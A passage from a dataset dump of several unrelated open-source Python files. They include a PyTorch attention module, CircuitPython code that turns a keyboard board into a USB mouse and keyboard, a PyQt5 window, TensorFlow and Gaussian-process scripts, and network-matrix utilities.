alignment == 'concat':\n self.g = nn.Parameter(torch.empty((g_size, 1))) # g x 1\n self.Wq = nn.Parameter(torch.empty((g_size, query_size))) # g x q\n self.Wk = nn.Parameter(torch.empty((g_size, key_size))) # g x k\n elif alignment == 'dot':\n pass\n elif alignment == 'general':\n self.W = nn.Parameter(torch.empty((query_size, key_size))) # q x k\n else:\n raise NotImplementedError(\n f'Unknown alignment model \"{alignment}\".'\n 'Choose from [concat, dot, general]. \"general\" is default.'\n )\n\n self.alignment = alignment\n self.align_fun = {\n 'concat' : self.__align_concat,\n 'dot' : self.__align_dot,\n 'general': self.__align_general,\n }[self.alignment]\n pass\n\n def __align_concat(self, query, key):\n '''\n a_i = g.T * tanh( W * [q; k_i] )\n\n Equivalence:\n W * [a; b] == (W1 * a) + (W2 * b)\n\n where,\n W = [W1, W2]\n\n NOTE:\n X.T is transpose of X\n [X; Y] is row concatenation\n [X, Y] is column concatenation\n '''\n Bq, q = query.shape\n Bk, Lk, k = key .shape\n assert (Bq == Bk, 'batch size mismatch')\n\n Q = torch.matmul(self.Wq, query.unsqueeze(2)) # B x g x 1\n K = torch.matmul(self.Wk, key.unsqueeze(3)) # B x L x g x 1\n additive = Q.unsqueeze(1) + K # B x L x g x 1\n product = torch.matmul(self.g.T, torch.tanh(additive)) # B x L x 1 x 1\n return product.squeeze() # B x L\n\n def __align_dot(self, query, key):\n '''\n a_i = q * k_i\n '''\n Bq, q = query.shape\n Bk, Lk, k = key .shape\n assert (Bq == Bk, 'batch size mismatch')\n assert ( q == k, 'dim size mismatch')\n\n product = torch.matmul(\n query.reshape(Bq, 1 , 1, q).expand(-1, Lk, -1, -1),\n key .reshape(Bk, Lk, k, 1)\n ) # B x L x 1 x 1\n return product.squeeze() # B x L\n\n def __align_general(self, query, key):\n '''\n a_i = q * W * k_i\n '''\n Bq, q = query.shape\n Bk, Lk, k = key .shape\n assert (Bq == Bk, 'batch size mismatch')\n\n product = torch.matmul(\n query.reshape(Bq, 1 , 1, q).expand(-1, Lk, -1, -1),\n self.W\n ) # B x L x 1 x k\n product = torch.matmul(\n product,\n key.reshape(Bk, Lk, k, 1)\n ) # B x L x 1 x 1\n return product.squeeze() # B x L\n\n def forward(self, query, key, value, return_weights=False):\n '''\n Parameter\n query: B x q\n key : B x L x k\n value: B x L x k\n '''\n assert(query.shape[0] == value[0].shape, 'batch size mismatch')\n assert(key.shape == value.shape, 'key and value size mismatch')\n\n scores = self.align_fun(query, key) # B x L\n weights = F.softmax(scores, dim=1) # B x L\n context = torch.bmm(weights.unsqueeze(1), value).squeeze(1) # B x k\n\n if return_weights:\n return context, weights\n return context\n pass\n","repo_name":"srimadhan11/MLProjects","sub_path":"modules/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"72645149843","text":"'''\nBeBoX default code.py\n\n'''\nimport adafruit_ili9341\nimport displayio\nimport kfw_FeatherS2_board as board\nimport neopixel\nimport bbq10keyboard\nfrom bbq10keyboard import BBQ10Keyboard, STATE_PRESS, STATE_RELEASE, STATE_LONG_PRESS\nimport microcontroller\nimport time\nimport os\n\"\"\"\n\n\"\"\"\nUSB=0\n\n\"\"\"\n\n\"\"\"\nneopix_pin = board.D11\npixels = neopixel.NeoPixel(neopix_pin, 1)\npixels[0] = 0x000000 #set neopixel\nspi = board.SPI()\ntft_cs = board.D9\ntft_dc = board.D10\ndisplayio.release_displays()\ndisplay_bus = displayio.FourWire(spi, command=tft_dc, chip_select=tft_cs)\ndisplay = adafruit_ili9341.ILI9341(display_bus, width=320, height=240)\n\n#calc_group = displayio.Group()\n#display.show(calc_group)\n\n\nklight = 10\nslight = 10\nimport tsc2004\ni2c = board.I2C()\nkbd = BBQ10Keyboard(i2c)\ntouch = tsc2004.TSC2004(i2c)\nimport os\nprint(os.uname().machine)\ndef is_usb_connected():\n import storage\n try:\n storage.remount('/', readonly=False) # attempt to mount readwrite\n storage.remount('/', readonly=True) # attempt to mount readonly\n except RuntimeError as e:\n return True\n return False\nis_usb = \"USB\" if is_usb_connected() else \"NO USB\"\nif is_usb == \"USB\":\n # connected on computer\n print('Connected on USB')\n import os\n fs_stat = os.statvfs('/')\n print(\"Disk size in MB\", fs_stat[0] * fs_stat[2] / 1024 / 1024)\n print(\"Free space in MB\", fs_stat[0] * fs_stat[3] / 1024 / 1024)\n import usb_hid\n from adafruit_hid.mouse import Mouse\n from adafruit_hid.keyboard import Keyboard\n #from adafruit_hid.keyboard_layout_US import KeyboardLayoutUS\n from adafruit_hid.keyboard_layout_FR import KeyboardLayoutFR\n from adafruit_hid.keycode import Keycode\n mouse = Mouse(usb_hid.devices)\n keyboard = Keyboard(usb_hid.devices)\n #keyboard_layout = KeyboardLayoutUS(keyboard)\n keyboard_layout = KeyboardLayoutFR(keyboard)\n USB = 1\nif is_usb == \"NO USB\":\n print('not Connected on USB')\n print('Welcome :')\n print('Wifi available around :')\n import wifi\n networks = []\n for network in wifi.radio.start_scanning_networks():\n networks.append(network)\n wifi.radio.stop_scanning_networks()\n networks = sorted(networks, key=lambda net: net.rssi, reverse=True)\n for network in networks:\n print(\"ssid:\",network.ssid, \"rssi:\",network.rssi)\n import gc\n print('Memory : ' + str(int((gc.mem_free()/1024))/1024)+\" MB\" )\n USB = 0\n \n #print( str(int((gc.mem_free()/1024))/1024)+\" MB\" )\ndef clearScreen():\n for n in range(0,16,1):\n print(\"\")\ndef showMenu():\n if USB ==1 :\n print(\"-------------------------------------------------\")\n print(\"* joystick *\")\n print(\"* UP/DOWN/LEFT/RIGHT Mouve Mouse *\")\n print(\"* Stick Button = Left click *\")\n print(\"* Keyboard type HID Key *\")\n print(\"-------------------------------------------------\")\n print(\"QUIT KBD LIGHT Right click RESET\")\n print(\"-------------------------------------------------\")\n else:\n print(\"-------------------------------------------------\")\n print(\"* joystick *\")\n print(\"* LEFT/RIGHT Keyboard light *\")\n print(\"* *\")\n print(\"* *\")\n print(\"-------------------------------------------------\")\n print(\"QUIT KBD LIGHT Factory test RESET\")\n print(\"-------------------------------------------------\")\ndef ReadKey():\n #print(\"Read a key\")\n while kbd.key_count < 2:\n pass\n keys = kbd.keys\n #print(keys[0])\n return keys\nkeyRead = ''\nkey = ''\nflight = 1\n'''\nspecial keycodes\n'\\x06'= 'L1'\n'\\x11'= 'L2'\n'\\x07'= 'R1'\n'\\x12'= 'R2'\n'\\x01'= 'UP'\n'\\x02'= 'DOWN'\n'\\x03'= 'LEFT'\n'\\x04'= 'RIGHT'\n'\\x05'= 'STICK BUTTON'\n'''\nshowMenu()\nwhile key != '\\x06':\n keyRead = ReadKey()\n key = keyRead[0]\n #debug\n #print(key)\n key = key[1]\n if key == '\\x01':\n # up\n if USB ==1 :\n mouse.move(y=-10)\n \"\"\"\n slight = slight + 2\n if slight>10:\n slight = 10\n kbd.backlight2 = slight /10\"\"\"\n if key == '\\x02':\n # down\n if USB ==1 :\n mouse.move(y=+10)\n \"\"\"\n slight = slight - 2\n if slight<0:\n slight = 0\n kbd.backlight2 = slight / 10\"\"\"\n if key == '\\x04':\n # RIght\n if USB ==1 :\n mouse.move(x=10)\n else:\n klight = klight + 2\n if klight>10:\n klight = 10\n kbd.backlight = klight / 10 # keyboard backlight\n if key == '\\x03':\n # kbd light up\n if USB ==1 :\n mouse.move(x=-10)\n else:\n klight = klight - 2\n if klight<0:\n klight = 0\n kbd.backlight = klight / 10 # keyboard backlight\n if key == '\\x05':\n #stick fire\n if USB ==1 :\n mouse.click(Mouse.LEFT_BUTTON)\n \n if key =='\\x06':\n print(\"L1 : Quit\")\n if key =='\\x11':\n flight = -flight\n if flight == 1:\n kbd.backlight = klight / 10\n kbd.backlight2 = slight / 10\n else:\n kbd.backlight = 0\n kbd.backlight2 = 0 \n if key =='\\x07':\n if USB ==0 :\n import codetestkbd\n print(\"R1\")\n else:\n mouse.click(Mouse.RIGHT_BUTTON)\n if key =='\\x12':\n clearScreen()\n print(\"-------------------- RESET ----------------------\")\n for n in range(0,7,1):\n print(\"\") \n time.sleep(1)\n microcontroller.reset()\n #print(\"R2\") \n if key!=\"\":\n if USB ==1 :\n try:\n print(key, end='')\n keyboard_layout.write(key)\n except:\n time.sleep(0.1)\n \n#END","repo_name":"beboxos/circuitpython","sub_path":"Keyboard_Featherwing/FeatherS2/code_old.py","file_name":"code_old.py","file_ext":"py","file_size_in_byte":6037,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"30"} +{"seq_id":"72903358804","text":"#!/usr/bin/env python3\nimport sys\nfrom PyQt5.QtWidgets import QDesktopWidget\nfrom PyQt5.QtWidgets import QApplication, QWidget, QPushButton\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtCore import QCoreApplication\n\n\nclass MainWindow(QWidget):\n def __init__(self):\n # Вызываем инитиз суперкласса\n super().__init__()\n # После чего вызываем метод главного окна.\n self.main()\n\n def main(self):\n # Экземпляр кнопки выхода\n qbtn = QPushButton('Quit', self)\n qbtn.clicked.connect(QCoreApplication.instance().quit)\n qbtn.resize(qbtn.sizeHint())\n qbtn.move(200,190)\n # Размер окна\n self.center()\n self.setFixedSize(300,240)\n # Иконка\n self.setWindowTitle('MyFirstAPP')\n self.setWindowIcon(QIcon('/usr/share/icons/breeze/apps/16/kdeconnect.svg'))\n self.show()\n\n def center(self):\n qr = self.frameGeometry()\n print(qr)\n cp = QDesktopWidget().availableGeometry().center()\n print(cp)\n qr.moveCenter(cp)\n self.move(qr.center())\n\nif __name__ == '__main__':\n\n app = QApplication(sys.argv)\n window = MainWindow()\n sys.exit(app.exec_())\n","repo_name":"icanttakeitanymore/python_study","sub_path":"pyqt5/myfirstapp.py","file_name":"myfirstapp.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"35952961549","text":"import tensorflow as tf\nimport glob\nimport os \n\ndef get_train_dataset(batch_size, train_images_paths):\n data_path = os.path.abspath(\"./data/train/*.png\")\n train_images_paths = sorted(glob.glob(data_path))\n train_dataset = tf.data.Dataset.from_tensor_slices((train_images_paths))\n train_dataset = tf.data.Dataset.from_tensor_slices((train_images_paths))\n train_dataset = train_dataset.shuffle(len(train_images_paths))\n train_dataset = train_dataset.map(load_train_image, num_parallel_calls=tf.data.experimental.AUTOTUNE)\n train_generator = train_dataset.batch(batch_size)\n \n return train_generator\n\ndef load_image(image_path, crop_pad_size=400):\n img = tf.io.read_file(image_path)\n img = tf.image.decode_png(img, channels=3)\n img = tf.image.convert_image_dtype(img, tf.float32)\n\n # img = augment_image(img)\n\n size = tf.shape(img)\n \n height, width = size[0], size[1]\n\n\n if height < crop_pad_size or width < crop_pad_size:\n pad_h = tf.maximum(0, crop_pad_size - height)\n pad_w = tf.maximum(0, crop_pad_size - width)\n \n # height (top and bottom), width (left and right), channels\n padding = [[0, pad_h], [0, pad_w], [0, 0]]\n img = tf.pad(img, padding, \"REFLECT\") \n\n size = tf.shape(img)\n height, width = size[0], size[1]\n\n if height > crop_pad_size or width > crop_pad_size:\n if (height - crop_pad_size) <= 0:\n top = 0\n else:\n top = tf.random.uniform([], 0, height - crop_pad_size, dtype=tf.dtypes.int32)\n\n if (width - crop_pad_size) <= 0:\n left = 0\n else:\n left = tf.random.uniform([], 0, width - crop_pad_size, dtype=tf.dtypes.int32)\n\n img = tf.image.crop_to_bounding_box(img, top, left, crop_pad_size, crop_pad_size)\n\n return img\n\ndef load_train_image(image_path):\n img = load_image(image_path)\n\n return img","repo_name":"acieslak333/ESRGAN","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"2968749140","text":"#52.N皇后II\n#解法使用的位运算\n#参考文章:https://zhuanlan.zhihu.com/p/22846106\nclass Solution:\n def totalNQueens(self, n: int) -> int:\n \n def dfs(r,n,col,pie,na):\n if r >= n:\n nonlocal count\n count += 1\n return \n bits = ((1<>1,(na|p)<<1) #pie与na定义的是撇与捺占据了当前行上的哪些列\n count = 0\n dfs(0,n,0,0,0)\n return count ","repo_name":"dachen123/algorithm_training_homework","sub_path":"week4/totalNQueens.py","file_name":"totalNQueens.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"36358626999","text":"\"\"\"App URLs\"\"\"\n\n# Django\nfrom django.urls import path\n\n# AA dynamicsrp App\nfrom dynamicsrp import views\n\napp_name: str = \"dynamicsrp\"\n\nurlpatterns = [\n # User views\n\n path(\"\", views.payouts, name=\"payouts\"),\n path(\"requested/\", views.requested, name=\"requested\"),\n path(\"reports/\", views.reports, name=\"reports\"),\n\n # Admin views\n\n path(\"admin/open_requests/\", views.open_requests, name=\"open_requests\"),\n path(\"admin/closed_requests/\", views.closed_requests, name=\"closed_requests\"),\n]\n","repo_name":"meowosaurus/aa-dynamicsrp","sub_path":"dynamicsrp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"80208313","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom BNQD import BNQD\nfrom gpflow.kernels import SquaredExponential\n\nfrom kernels import IndependentKernel\n\nimport tensorflow as tf\nimport gpflow as gpf\nfrom gpflow.utilities import print_summary\n\nplt.rc('axes', titlesize=24) # fontsize of the axes title\nplt.rc('axes', labelsize=18) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=12) # fontsize of the tick labels\nplt.rc('ytick', labelsize=12) # fontsize of the tick labels\nplt.rc('legend', fontsize=20) # legend fontsize\nplt.rc('figure', titlesize=32) # fontsize of the figure title\n\nprint('TensorFlow version ', tf.__version__)\nprint('NumPy version ', np.__version__)\nprint('GPflow version ', gpf.__version__)\nprint('BNQD version ', BNQD.__version__)\n\njitter = 1e-6\n\n\ndef quarter_circle(X):\n \"\"\"\n True *within* the quarter circle.\n @param X:\n @return:\n \"\"\"\n return tf.dtypes.cast(X[:, 0]**2 + X[:, 1]**2 <= 0.5,\n tf.int32)\n\n\ndef line(X):\n a = 1.0\n b = -1.0\n return tf.dtypes.cast(a + b*X[:, 0] >= X[:, 1],\n tf.int32)\n\n\ndef square(X):\n return tf.dtypes.cast(np.logical_or((X[:, 0] - 0.5) < 0.5, (X[:, 1] - 0.5) < 0.5), tf.int32)\n\n#\n\n# NB: the intervention threshold/function specifies when intervention is applied\n# i.e. tau(x) == 1 iff x >= x0, etc.\n\nprint('1D GP')\nx0 = 0.5\n\nkernel = IndependentKernel([SquaredExponential(variance=1.0, lengthscales=0.3),\n SquaredExponential(variance=1.0, lengthscales=0.05)],\n x0=x0, forcing_variable=0)\n\n\nn = 100\n\nX = np.linspace(0, 1, n)[:, np.newaxis]\nK = kernel.K(X)\n\nsigma2 = 0.1\n#\nL = np.linalg.cholesky(K + jitter*np.identity(n))\nz = np.random.normal(size=X.shape[0])\nf = np.dot(L, z)\ny = np.random.normal(loc=f, scale=np.sqrt(sigma2))\n\nkernel_opt = IndependentKernel([SquaredExponential(variance=1.0, lengthscales=1.0),\n SquaredExponential(variance=1.0, lengthscales=1.0)],\n x0=x0, forcing_variable=0)\n\nm = gpf.models.GPR(data=(X, y[:, None]),\n kernel=kernel_opt)\nopt = gpf.optimizers.Scipy()\nopt.minimize(m.training_loss,\n variables=m.trainable_variables,\n options={'maxiter': 1000})\n\nprint_summary(m)\nepsilon = 1e-5\nx_pred = np.linspace(0, 1, 100).reshape(-1, 1)\n\ny_pred, _ = m.predict_y(x_pred)\n\nfig, axes = plt.subplots(nrows=1, ncols=2, figsize=(12, 8))\naxes[0].imshow(K)\naxes[0].set_title('True kernel')\naxes[1].plot(X, y, ls='none', marker='o')\naxes[1].plot(x_pred, y_pred, color='r')\naxes[1].axvline(x=x0, color='k')\naxes[1].set_xlabel('x')\naxes[1].set_ylabel('y')\naxes[1].set_title('GP sample')\nplt.suptitle('1D threshold function')\nplt.show()\n\n\n#\nprint('2D GP')\nkernel = IndependentKernel([SquaredExponential(variance=1.0, lengthscales=0.7),\n SquaredExponential(variance=1.0, lengthscales=0.09)],\n split_function=quarter_circle)\n\np = 25\n\nU = np.linspace(0, 1, p)\nx1, x2 = np.meshgrid(U, U)\nX = np.vstack([x1.flatten(), x2.flatten()]).T\nN, D = X.shape\n\nK = kernel.K(X)\n\nsigma = 0.1\nL = np.linalg.cholesky(K + jitter*np.identity(N))\nz = np.random.normal(size=N)\nf_vec = np.dot(L, z)\nf = np.reshape(f_vec, [p, p])\ny_vec = np.random.normal(loc=f_vec, scale=sigma)\ny = np.reshape(y_vec, [p, p])\n\nkernel_opt = IndependentKernel([SquaredExponential(variance=1.0, lengthscales=1.0),\n SquaredExponential(variance=1.0, lengthscales=1.0)],\n split_function=quarter_circle)\n\nm = gpf.models.GPR(data=(X, y_vec.reshape(-1, 1)),\n kernel=kernel_opt)\nopt = gpf.optimizers.Scipy()\nopt.minimize(m.training_loss,\n variables=m.trainable_variables,\n options={'maxiter': 1000})\nprint_summary(m)\n\nU_pred = np.linspace(0, 1, 5)\nx1_pred, x2_pred = np.meshgrid(U_pred, U_pred)\nX_pred = np.vstack([x1_pred.flatten(), x2_pred.flatten()]).T\n\ny_pred, _ = m.predict_y(X_pred)\n\nfig, axes = plt.subplots(nrows=1, ncols=2, figsize=(12, 8))\naxes[0].imshow(K)\naxes[0].set_title('Kernel')\naxes[1].imshow(f)\naxes[1].autoscale(False)\naxes[1].scatter(x1_pred.reshape(-1, 1)*(p-1), x2_pred.reshape(-1, 1)*(p-1),\n c=y_pred, s=100, edgecolors='k', clip_on=False)\naxes[1].set_xlabel('$x_1$')\naxes[1].set_ylabel('$x_2$')\naxes[1].set_title('GP sample')\nplt.suptitle('2D arbitrary split function')\nplt.show()\n","repo_name":"mhinne/BNQD","sub_path":"test_cases/multivariate/rd_migp.py","file_name":"rd_migp.py","file_ext":"py","file_size_in_byte":4492,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"30"} +{"seq_id":"5017203129","text":"from sklearn.linear_model import RidgeCV as _RidgeCVReg\r\n\r\nfrom script.sklearn_like_toolkit.warpper.base.BaseWrapperReg import BaseWrapperReg\r\nfrom script.sklearn_like_toolkit.warpper.base.MixIn import MetaBaseWrapperRegWithABC\r\n\r\n\r\nclass skRidgeCVReg(_RidgeCVReg, BaseWrapperReg, metaclass=MetaBaseWrapperRegWithABC):\r\n def __init__(self, alphas=(0.1, 1.0, 10.0), fit_intercept=True, normalize=False, scoring=None, cv=None,\r\n gcv_mode=None, store_cv_values=False):\r\n _RidgeCVReg.__init__(self, alphas, fit_intercept, normalize, scoring, cv, gcv_mode, store_cv_values)\r\n BaseWrapperReg.__init__(self)\r\n\r\n HyperOpt_space = {}\r\n\r\n tuning_grid = {\r\n # shape positive float\r\n 'alphas': (0.1, 1.0, 10.0),\r\n # 'fit_intercept': True,\r\n # 'normalize': False,\r\n # 'scoring': None,\r\n # 'cv': None,\r\n # 'class_weight': None\r\n }\r\n","repo_name":"demetoir/MLtools","sub_path":"script/sklearn_like_toolkit/warpper/skReg_wrapper/skRidgeCVReg.py","file_name":"skRidgeCVReg.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"25030273043","text":"# -*- coding: UTF-8 -*-\n\n\"\"\" Non-negative matrix tri-factorization (numpy)\"\"\"\n# Author: NMD\n\nimport networkx as nx\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport pandas as pd\n#import seaborn as sns\n\n\n#Load network\ndef Load_Network(fname):\n\tnet = nx.read_edgelist(fname)\n\tnodes = [n for n in net.nodes()]\n\tnodeset = set(nodes)\n\tnb_nodes = len(nodes)\n\tnodes2ind = {}\n\tfor n in range(nb_nodes):\n\t\tnodes2ind[nodes[n]]=n\n\treturn net, nodes, nodes2ind\n\n\n\n#Load a symmetric x.x matrix and create the ordering of x-nodes\ndef Load_X_to_X(fname, esc):\n\tedges=[]\n\tx_nodes = set()\n\tifile=open(fname, 'r')\n\tfor line in ifile.readlines():\n\t\tlspt = line.strip().split(esc)\n\t\tif len(lspt)>1:\n\t\t\tx1 = lspt[0]\n\t\t\tx2 = lspt[1]\n\t\t\tedges.append([x1,x2])\n\t\t\tx_nodes.add(x1)\n\t\t\tx_nodes.add(x2)\n\t\n\tx_nodes = list(x_nodes)\n\t\n\tnb_xnodes = len(x_nodes)\n\t\n\tprint(\" - %s: %i nodes, %i interactions\"%(fname, nb_xnodes, len(edges)))\n\t\n\tx_nodes2ind = {}\n\tfor n in range(nb_xnodes):\n\t\tx_nodes2ind[x_nodes[n]]=n\n\t\n\tX2X = np.zeros((nb_xnodes, nb_xnodes))\n\tfor x1,x2 in edges:\n\t\tindx1 = x_nodes2ind[x1]\n\t\tindx2 = x_nodes2ind[x2]\n\t\tX2X[indx1][indx2] = 1.\n\t\tX2X[indx2][indx1] = 1.\n\t\n\treturn X2X, x_nodes, x_nodes2ind\n\n\n\n#Load a symmetric a.a matrix, where the ordering of a-nodes is given\ndef Load_A_to_A(fname, a_nodes2ind, esc):\n\tedges=[]\n\tifile=open(fname, 'r')\n\tfor line in ifile.readlines():\n\t\tlspt = line.strip().split(esc)\n\t\tif len(lspt)>1:\n\t\t\ta1 = lspt[0]\n\t\t\ta2 = lspt[1]\n\t\t\tif a1 in a_nodes2ind and a2 in a_nodes2ind:\n\t\t\t\tedges.append([a1,a2])\n\t\n\tnb_anodes = len(a_nodes2ind)\n\t\n\tprint(\" - %s: %i nodes, %i interactions\"%(fname, nb_anodes, len(edges)))\n\t\n\tA2A = np.zeros((nb_anodes, nb_anodes))\n\tfor a1,a2 in edges:\n\t\tinda1 = a_nodes2ind[a1]\n\t\tinda2 = a_nodes2ind[a2]\n\t\tA2A[inda1][inda2] = 1.\n\t\tA2A[inda2][inda1] = 1.\n\t\n\treturn A2A\n\n\n\n\n#Load a x.a matrix, where the ordering of a-nodes is given, and create the ordering of x-nodes\ndef Load_X_to_A(fname, a_nodes2ind, esc):\n\tedges=[]\n\ta_nodes = set()\n\tx_nodes = set()\n\tifile=open(fname, 'r')\n\tfor line in ifile.readlines():\n\t\tlspt = line.strip().split(esc)\n\t\tif len(lspt)>1:\n\t\t\tx = lspt[0]\n\t\t\ta = lspt[1]\n\t\t\tif a in a_nodes2ind:\n\t\t\t\tedges.append([x,a])\n\t\t\t\tx_nodes.add(x)\n\t\t\t\ta_nodes.add(a)\n\t\n\tx_nodes = list(x_nodes)\n\t\n\tnb_xnodes = len(x_nodes)\n\tnb_anodes = len(a_nodes2ind)\n\t\n\tprint(\" - %s: %i - %i nodes, %i interactions\"%(fname, nb_xnodes, nb_anodes, len(edges)))\n\t\n\tx_nodes2ind = {}\n\tfor n in range(nb_xnodes):\n\t\tx_nodes2ind[x_nodes[n]]=n\n\t\n\tX2A = np.zeros((nb_xnodes, nb_anodes))\n\tfor x,a in edges:\n\t\tindx = x_nodes2ind[x]\n\t\tinda = a_nodes2ind[a]\n\t\tX2A[indx][inda] = 1.\n\t\n\treturn X2A, x_nodes, x_nodes2ind\n\n\n\n\ndef Load_GO(fname, allowed_nodes):\n\tnode2go=[]\n\tnodes = set()\n\tgos = set()\n\tifile=open(fname)\n\tfor line in ifile.readlines():\n\t\tlspt = line.strip().split(';')\n\t\tif len(lspt)>1:\n\t\t\tg = lspt[0]\n\t\t\tt = lspt[1]\n\t\t\tif g in allowed_nodes:\n\t\t\t\tnode2go.append([g,t])\n\t\t\t\tnodes.add(g)\n\t\t\t\tgos.add(t)\n\t\n\tnodes = list(nodes)\n\tgos = list(gos)\n\t\n\tnb_nodes = len(nodes)\n\tnodes2ind = {}\n\tfor n in range(nb_nodes):\n\t\tnodes2ind[nodes[n]]=n\n\t\t\n\tnb_gos = len(gos)\n\tgos2ind = {}\n\tfor n in range(nb_gos):\n\t\tgos2ind[gos[n]]=n\n\t\n\tgene2go = np.zeros((nb_nodes, nb_gos))\n\tfor g,t in node2go:\n\t\tindg = nodes2ind[g]\n\t\tindt = gos2ind[t]\n\t\tgene2go[indg][indt] = 1.\n\t\n\treturn gene2go, nodes, nodes2ind, gos, gos2ind\n\n\n\n\n#Computing laplacian matrix, L\ndef Make_Laplacian(net, net_nodes, net_n2i):\n\tprint(\"Computing laplacian matrix\")\n\tnb_nodes = len(net_nodes)\n\tA = np.zeros((nb_nodes,nb_nodes))\n\tD = np.zeros((nb_nodes,nb_nodes))\n\tfor n1 in range(nb_nodes):\n\t\tD[n1][n1] = float(net.degree(net_nodes[n1]))\n\t\n\tfor e in net.edges():\n\t\tn1=net_n2i[ e[0] ]\n\t\tn2=net_n2i[ e[1] ]\n\t\tA[n1][n2] = 1.\n\t\tA[n2][n1] = 1.\n\t\n\tL = D-A\n\treturn L\n\n\n\n#Computing Adjacency matrix, A\ndef Make_Adj(net, net_nodes, net_n2i, MOL_or_EXP):\n\tif MOL_or_EXP == 'MOL':\n\t\tnb_nodes = len(net_nodes)\n\t\tA = np.zeros((nb_nodes,nb_nodes))\n\t\t\n\t\tfor e in net.edges():\n\t\t\tif e[0] in net_n2i and e[1] in net_n2i:\n\t\t\t\tn1=net_n2i[ e[0] ]\n\t\t\t\tn2=net_n2i[ e[1] ]\n\t\t\t\tA[n1][n2] = 1.\n\t\t\t\tA[n2][n1] = 1.\n\t\treturn A\n\n\telif MOL_or_EXP == 'EXP':\n\t\tgene_nodes = net_nodes\n\t\tSC_nodes = list(net)\n\t\ti2SC = dict(list(enumerate(list(net))))\n\t\tA = np.zeros((len(gene_nodes),len(SC_nodes)))\n\t\t\n\t\tfor gene in range(len(gene_nodes)):\n\t\t\tfor SC in range(len(SC_nodes)):\n\t\t\t\tA[gene][SC] = net[SC_nodes[SC]][gene_nodes[gene]]\n\t\treturn A, i2SC\n\n\n\n\n#Compute PPMI matrix from adjacency matrix A\ndef Make_PPMI(A, context_window=10, Bin=False):\n\tprint(\"Computing PPMI matrix\")\n\tdegrees = np.sum(A,axis = 0)\n\tvolume_of_graph = sum(degrees)\n\t\n\t#fix for disconnected nodes\n\tdegree_corrected = np.array( [float(i) for i in degrees] )\n\tfor i in range(len(degree_corrected)):\n\t\tif degree_corrected[i] == 0.:\n\t\t\tdegree_corrected[i] = 1.\n\t\n\tdiag_degrees_inv = np.diag([1./float(i) for i in degree_corrected])\n\t\n\ttpm = np.matmul(diag_degrees_inv,A)\n\tpower_tpm = np.zeros([len(A),len(A)]) + tpm\n\tpmi = np.zeros([len(A),len(A)]) + power_tpm\n\t\n\tfor r in range(2,context_window+1):\n\t\t#print 'Iteration: ',r\n\t\tpower_tpm = np.matmul(power_tpm, tpm)\n\t\tpmi += power_tpm\n\t\n\tpmi = pmi/float(context_window)\n\tpmi = volume_of_graph*np.matmul(pmi,diag_degrees_inv)\n\tpmi_matrix = np.log(pmi, out=np.zeros_like(pmi), where=(pmi!=0))\n\t\n\tfor i in pmi_matrix:\n\t\ti[i<0]=0.\n\t\n\tif Bin==True:\n\t\tfor i in pmi_matrix:\n\t\t\ti[i>0.]=1. \n\t\n\treturn pmi_matrix\n\n\ndef Sub_Matrix(P, nodes, new_node2ind):\n\tNP = np.zeros((len(new_node2ind), P.shape[1]))\n\tfor i in range(len(nodes)):\n\t\tif nodes[i] in new_node2ind:\n\t\t\tni = new_node2ind[nodes[i]]\n\t\t\tfor j in range(P.shape[1]):\n\t\t\t\tNP[ni][j] = P[i][j]\n\treturn NP\n\n\n\ndef Load_SemSims(fname, go2ind):\n\tSS = np.zeros((len(go2ind), len(go2ind)))\n\tifile = open(fname, 'r')\n\tfor line in ifile.readlines():\n\t\tlspt = line.strip().split('\\t')\n\t\tif len(lspt)> 2:\n\t\t\tgo1 = int(lspt[0])\n\t\t\tgo2 = int(lspt[1])\n\t\t\tss12 = float(lspt[2])\n\t\t\tgname1 = \"GO:%07i\"%(go1)\n\t\t\tgname2 = \"GO:%07i\"%(go2)\n\t\t\tid1 = go2ind[gname1]\n\t\t\tid2 = go2ind[gname2]\n\t\t\tSS[id1][id2] = ss12\n\t\t\tSS[id2][id1] = ss12\n\tifile.close()\n\treturn SS\n\n#Compute the PPMI matrix of a bipartite adjacency matrix between x and y nodes.\ndef Make_PPMI_Bipartite(Mat, x2ind, y2ind, context_window=10, Bin=False):\n\tnb_x, nb_y = Mat.shape\n\tFull_Adj = np.zeros( (nb_x+nb_y, nb_x+nb_y) )\n\tfor i in range(nb_x):\n\t\t#Full_Adj[i][i] = 1.\n\t\tfor j in range(nb_y):\n\t\t\tFull_Adj[i][nb_x+j] = Mat[i][j]\n\t\t\tFull_Adj[nb_x+j][i] = Mat[i][j]\n\t\n\t#for j in range(nb_y):\n\t#\tFull_Adj[nb_x+j][nb_x+j] = 1.\n\t\n\tFull_PPMI = Make_PPMI(Full_Adj, context_window, Bin)\n\tSub_PPMI = np.zeros((nb_x, nb_y))\n\tfor i in range(nb_x):\n\t\tfor j in range(nb_y):\n\t\t\tSub_PPMI[i][j] = Full_PPMI[i][nb_x+j]\n\treturn Sub_PPMI\n\n\n\ndef Save_Square_Matrix(matrix, rownames, fname):\n\tofile = open(fname, 'w')\n\tn,m = matrix.shape\n\tfor i in range(n):\n\t\tni = rownames[i]\n\t\tfor j in range(i+1,n):\n\t\t\tif matrix[i][j] > 0.:\n\t\t\t\tnj = rownames[j]\n\t\t\t\tofile.write(\"%s\\t%s\\t%s\\n\"%(ni, nj, 